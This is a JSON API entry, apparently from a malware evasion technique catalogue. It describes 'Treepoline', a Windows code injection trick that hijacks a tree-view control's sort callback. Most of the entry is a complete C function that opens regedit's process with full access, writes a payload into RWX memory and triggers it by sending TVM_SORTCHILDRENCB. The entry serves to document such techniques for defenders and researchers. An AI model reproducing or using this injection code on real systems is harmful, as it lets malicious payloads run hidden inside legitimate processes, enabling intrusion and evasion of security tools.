GET /api/techniques/154/
HTTP 200 OK
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "name": "Treepoline",
    "category": [
        "https://search.unprotect.it/api/categories/4/"
    ],
    "description": "(Rich)Edit controls are not the only ones that suffer callback overwrites. The tree-view controls are also in this category. When a tree-view control is displaying its content it needs to sort the items it shows. This sorting routine can be controlled, and changed with a TVSORTCB structure.\r\n\r\nOne of the fields in this structure is called lpfnCompare. It points to a routine that will be called anytime a comparison between tree elements is required. We can tell any tree-view window to use our callback by sending a TVM_SORTCHILDRENCB. The moment control executes our call back routine it’s a game over.",
    "resources": "http://www.hexacorn.com/blog/2019/04/24/treepoline-new-code-injection-technique/\r\nhttps://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/",
    "tags": "",
    "snippets": [
        {
            "language": "https://search.unprotect.it/api/snippet_languages/2/",
            "author": "https://search.unprotect.it/api/snippet_authors/6/",
            "technique": "https://search.unprotect.it/api/techniques/154/",
            "description": "",
            "plain_code": "VOID treepoline(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, tlv;\r\n    LPVOID        cs, ds, item;\r\n    SIZE_T        rd, wr;\r\n    TVSORTCB      tvs;\r\n    \r\n    // 1. get the treeview handle\r\n    wpw = FindWindow(L\"RegEdit_RegEdit\", NULL);\r\n    tlv = FindWindowEx(wpw, 0, L\"SysTreeView32\", 0);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(tlv, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Obtain the root item in tree list\r\n    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);\r\n\r\n    tvs.hParent     = item;\r\n    tvs.lpfnCompare = cs;\r\n    tvs.lParam      = 0;\r\n    \r\n    // 5. Allocate RW memory and copy the TVSORTCB structure\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);\r\n    \r\n    // 6. Trigger payload\r\n    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);\r\n\r\n    // 7. Free memory and close process handle\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);\r\n}"
        }
    ],
    "detection_rules": []
}